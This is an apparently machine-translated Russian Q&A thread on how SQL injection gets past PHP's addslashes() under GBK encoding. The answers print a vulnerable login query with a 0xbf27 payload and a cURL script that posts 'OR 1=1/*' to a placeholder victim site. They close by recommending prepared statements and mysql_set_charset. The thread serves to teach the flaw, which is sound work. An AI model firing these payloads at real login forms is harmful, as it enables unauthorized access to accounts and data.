Примеры SQL-инъекций через addslashes ()?



в PHP, я знаю, что mysql_real_escape гораздо безопаснее, чем с помощью addslashes.
Однако я не смог найти пример ситуации, когда addslashes позволит SQL-инъекции произойти.



может кто-нибудь привести несколько примеров?

703   4  

4 ответов:

Ну вот статья, которую вы хотите.

В основном, способ атаки работает, получая addslashes() поставить обратную косую черту в середине многобайтового символа таким образом, что обратная косая черта теряет свое значение, будучи частью допустимой многобайтовой последовательности.

общая оговорка из статьи:

этот тип атаки возможен с любой кодировкой символов, где существует допустимый многобайтовый символ, который заканчивается на 0x5c, потому что addslashes() может быть обманут в создании допустимого многобайтового символа вместо того, чтобы избегать единственной цитаты, которая следует. UTF-8 не подходит это описание.

Крис Шифлетт ясно объясняет с приведенным ниже примером, что будет, конечно, работать, если вы попробуете его при использовании кодировки GBK в вашей базе данных. Даже я попробовал, это доказывает, что есть шансы для SQL-инъекции, хотя они очень меньше, но кто-то с хорошими знаниями и возможностями может легко ввести. Вот вам пример...

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

хотя использование функция addslashes() или magic_quotes_gpc, как правило, рассматриваться в качестве какой-то безопасности, использования ГБК это сделало бы их почти бесполезными. Следующий скрипт php cURL сможет использовать инъекцию, я надеюсь, что это поможет вам немного больше понять:

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>

как дополнение для читателей ответов здесь: эта ошибка MySQL уже исправлена:)

кроме того, это всегда хорошая практика, чтобы использовать подготовленные операторы. Это самый свободный от эксплойтов способ запуска запросов (и, в нескольких случаях использования, наиболее эффективный). И это спасло бы вас от этого недостатка.

mysql_real_escape_string () против подготовленных операторов четко объясняет mysql_real_escape_string () не является 100% безопасным.

используя mysql_set_charset ('GBK') заменить mysql_query ("SET CHARACTER SET 'GBK'"), mysql_real_escape_string () может быть 100% безопасным.

Comments

    Ничего не найдено.